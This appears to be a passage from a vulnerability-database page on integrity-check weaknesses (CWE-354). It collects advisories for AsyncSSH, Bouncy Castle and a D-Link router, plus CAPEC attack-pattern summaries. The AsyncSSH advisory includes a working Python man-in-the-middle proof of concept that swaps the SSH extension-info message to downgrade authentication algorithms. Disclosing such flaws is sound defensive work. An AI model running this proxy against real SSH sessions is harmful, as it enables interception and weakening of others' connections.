"fixed": "2.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46445"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-349",
"CWE-354"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-09T18:34:53Z",
"nvd_published_at": "2023-11-14T03:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n ```python\n #!/usr/bin/python3\n import socket\n from threading import Thread\n from binascii import unhexlify\n \n #####################################################################################\n ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n ## ##\n ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##\n ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##\n ## ##\n ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##\n #####################################################################################\n \n # IP and port for the TCP proxy to bind to\n PROXY_IP = \u0027127.0.0.1\u0027\n PROXY_PORT = 2222\n \n # IP and port of the server\n SERVER_IP = \u0027127.0.0.1\u0027\n SERVER_PORT = 22\n \n # Length of the individual messages\n NEW_KEYS_LENGTH = 16\n SERVER_EXT_INFO_LENGTH = 676\n \n newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n def contains_newkeys(data):\n return newkeys_payload in data\n \n # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n rogue_ext_info = unhexlify(\u00270000000C060700000000000000000000\u0027)\n def insert_rogue_ext_info(data):\n newkeys_index = data.index(newkeys_payload)\n # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n \n def forward_client_to_server(client_socket, server_socket):\n try:\n while True:\n client_data = client_socket.recv(4096)\n if len(client_data) == 0:\n break\n server_socket.send(client_data)\n except ConnectionResetError:\n print(\"[!] Client connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n def forward_server_to_client(client_socket, server_socket):\n try:\n while True:\n server_data = server_socket.recv(4096)\n if contains_newkeys(server_data):\n print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n server_data += server_socket.recv(4096)\n print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n server_data = insert_rogue_ext_info(server_data)\n print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n if len(server_data) == 0:\n break\n client_socket.send(server_data)\n except ConnectionResetError:\n print(\"[!] Target connection has been reset. Continue closing sockets.\")\n print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n client_socket.close()\n server_socket.close()\n \n if __name__ == \u0027__main__\u0027:\n print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mitm_socket.bind((PROXY_IP, PROXY_PORT))\n mitm_socket.listen(5)\n \n print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n \n try:\n while True:\n client_socket, client_addr = mitm_socket.accept()\n print(f\"[+] Accepted connection from: {client_addr}\")\n print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server_socket.connect((SERVER_IP, SERVER_PORT))\n print(\"[+] Spawning new forwarding threads to handle client connection.\")\n Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n except KeyboardInterrupt:\n client_socket.close()\n server_socket.close()\n mitm_socket.close()\n ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.",
"id": "GHSA-cfc2-wr2v-gxm5",
"modified": "2025-11-04T16:46:51Z",
"published": "2023-11-09T18:34:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46445"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20231222-0001"
},
{
"type": "WEB",
"url": "https://www.terrapin-attack.com"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "AsyncSSH Rogue Extension Negotiation"
}
GHSA-CFJH-C47F-GPRF
Vulnerability from github – Published: 2026-08-03 03:31 – Updated: 2026-08-28 18:31
VLAI
Details
In Bouncy Castle for Java before 1.85, CMS AuthenticatedData content not bound to MAC when authAttrs present. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).
Severity
{
"affected": [],
"aliases": [
"CVE-2026-59642"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-03T01:16:44Z",
"severity": "HIGH"
},
"details": "In Bouncy Castle for Java before 1.85, CMS AuthenticatedData content not bound to MAC when authAttrs present. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).",
"id": "GHSA-cfjh-c47f-gprf",
"modified": "2026-08-28T18:31:12Z",
"published": "2026-08-03T03:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59642"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/2117f316a5a47308f3e569695a6592b16aac0dd7"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9059642"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-59642"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-CFW4-VHM2-M225
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details
An issue was discovered on D-Link DSR-250 3.17 devices. Insufficient validation of configuration file checksums could allow a remote, authenticated attacker to inject arbitrary crontab entries into saved configurations before uploading. These entries are executed as root.
{
"affected": [],
"aliases": [
"CVE-2020-25758"
],
"database_specific": {
"cwe_ids": [
"CWE-354"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-15T20:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered on D-Link DSR-250 3.17 devices. Insufficient validation of configuration file checksums could allow a remote, authenticated attacker to inject arbitrary crontab entries into saved configurations before uploading. These entries are executed as root.",
"id": "GHSA-cfw4-vhm2-m225",
"modified": "2022-05-24T17:36:28Z",
"published": "2022-05-24T17:36:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25758"
},
{
"type": "WEB",
"url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10195"
},
{
"type": "WEB",
"url": "https://www.digitaldefense.com/news/zero-day-vuln-d-link-vpn-routers"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Implementation
Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.
CAPEC-145: Checksum Spoofing
An adversary spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an adversary modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the adversary) in the message. This would prevent the recipient from realizing that a change occurred.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.